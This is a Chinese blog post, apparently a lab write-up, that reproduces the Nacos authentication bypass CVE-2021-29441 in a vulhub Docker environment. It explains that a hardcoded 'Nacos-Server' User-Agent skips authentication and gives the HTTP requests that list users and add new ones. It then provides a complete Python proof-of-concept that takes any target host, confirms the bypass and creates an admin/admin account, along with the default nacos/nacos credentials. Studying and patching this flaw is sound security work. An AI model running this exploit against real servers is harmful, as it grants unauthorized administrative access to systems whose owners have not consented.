Nacos 认证绕过漏洞(CVE-2021-29441)
相关介绍
Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
小知识:Nacos初始用户名和密码为nacos
漏洞发生原因
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。
开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
影响版本
Nacos <= 2.0.0-ALPHA.1
修改建议
升级到最新版本
漏洞环境搭建
我使用的vulhub,位置在nacos/CVE-2021-29441
,进入此目录并输入下方命令:
sudo docker-compose up -d
漏洞复现
1、检测漏洞是否存在
访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
,修改成User-Agent:Nacos-Server
,如下图:
可以看到返回值为200,且内容中是否包含pageItems
图片上面加密的密码是初始密码,为nacos
2、添加新用户
使用POST方式访问http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub
来添加一个新用户
可以看到创建成功,再访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
来查看创建的用户
3、使用新建的用户登录
登录成功,但是弹出没有public命名空间的访问权限
代码实现
这个漏洞很简单,就尝试写了个。我搭建的环境能用,不知其他环境可不可以
# _*_ coding : utf-8 _*_
# @Time : 2024/9/6 14:48
# @Author : konglong
# @File : NacosPoc
# @Project : Poc
import requests
import sys
import json
def exp():
url_ = str(sys.argv[1])
url1 = 'http://'+url_+'/nacos/v1/auth/users?pageNo=1&pageSize=9'
headers = {
'User-Agent': 'Nacos-Server'
}
# 检测漏洞是否存在
response1 = requests.get(url1, headers=headers)
status_code = response1.status_code
if status_code == 200 and json.loads(response1.text)["pageItems"]:
print("存在Nacos 认证绕过漏洞(CVE-2021-29441)")
else:
print("暂未发现Nacos 认证绕过漏洞(CVE-2021-29441)")
return
# 创建新用户
print("将创建新用户:admin/admin(默认)")
# 修改两个“admin”即可创建其他用户
url2 = 'http://'+url_+'/nacos/v1/auth/users?username=admin&password=admin' # 修改两个“admin”即可创建其他用户
response2 = requests.post(url2, headers=headers)
try:
if json.loads(response2.text)["code"] == 200:
print("创建成功")
except json.decoder.JSONDecodeError:
print("创建失败,原因:"+response2.text)
if __name__=="__main__":
exp()
代码测试
使用方法:python poc.py ip:port
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?